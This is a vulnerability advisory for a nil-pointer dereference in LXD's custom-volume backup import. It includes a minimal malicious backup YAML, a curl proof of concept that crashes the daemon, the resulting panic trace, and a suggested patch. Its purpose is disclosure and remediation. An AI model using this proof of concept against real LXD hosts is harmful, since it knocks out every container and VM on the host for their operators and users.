Asymmetric denial of service In github.com/canonical/lxd
Description
LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at
Summary
(sibling-field variant of CVE-2026-40197 fix 05bc272)
(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.
This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.
Vulnerable code
lxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:
// Line 8141-8150 — earliest snapshot validation pass (caches s == nil) for i, snap := range customVol.Snapshots { if snap == nil { return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i) } err = drivers.ValidVolumeName(snap.Name) ... }...
ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):
Line | Code | Guarded? |
|---|---|---|
1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |
1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |
1558-1559 | srcSnap.ExpiresAt | YES |
1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |
2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |
5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |
5527-5528 | srcSnap.ExpiresAt | YES |
8216 | CreateCustomVolumeFromBackup snapshot.ExpiresAt | NO |
Reach
Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the EntitlementCanCreateStorageVolumes entitlement on any project. Same auth gate as CVE-2026-40197.
POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-LXD-name: <name>.
Body is a tar containing backup/index.yaml with type: custom, volumes[0] non-nil, and volumes[0].snapshots[0] non-nil but missing expires_at.
lxd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> *snapshot.ExpiresAt on line 8216 panics on the nil *time.Time.
The Go runtime kills the entire lxd daemon process. Repeated POSTs are a persistent denial of service.
Minimal backup/index.yaml:
name: poc-vol backend: dir pool: default type: custom optimized: false optimized_header: false snapshots: [snap0] config:...
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.
Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.
$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \ --data-binary @/tmp/poc-vol-lxd.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-LXD-name: poc-vol' \ http://lxd/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep lxd | grep -v grep # daemon GONE...
Daemon panic from /tmp/lxd.out:
panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8] goroutine 683 [running]: github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...) github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58 main.createStoragePoolVolumeFromBackup.func6(...) github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0...
Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.
Impact
Severity: denial of service against the entire lxd daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
Privileges required: any authenticated user with can_create_storage_volumes on any project. Not behind the admin tier.
Network attack surface: the LXD REST API on :8443 or the unix socket.
CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
Versions: confirmed at lxd 6.8 (HEAD); the same code exists in the v5.21 LTS line as the parent fix 05bc272 was a cherry-pick from incus.
Suggested fix
Mirror the guard pattern already in use elsewhere in this file:
--- a/lxd/storage/backend_lxd.go +++ b/lxd/storage/backend_lxd.go @@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error { snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName) snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config) // Validate config and create database entry for new storage volume. // Strip unsupported config keys (in case the export was made from a different type of storage pool)....
Related advisories
GHSA-r7w7-mmxr-47r9 (CVE-2026-40197) / commit 05bc272 (cherry-pick of incus 985a1dedf) — parent fix: added s == nil checks at multiple consumer sites, missed the *snapshot.ExpiresAt deref at line 8216.
lxc/incus GHSA-xhqx-mgh3-3h7q (sibling report filed by same reporter against the upstream-equivalent line internal/server/storage/backend.go:7731 in incus).
The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.
Reporter notes
Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
debian 13 | 5.0.2+git20231211.1364ae4-9+deb13u7 | ||
debian 12 | - | ||
go | 0.0.0-20260622081844-85f897013ccd |
Aliases
References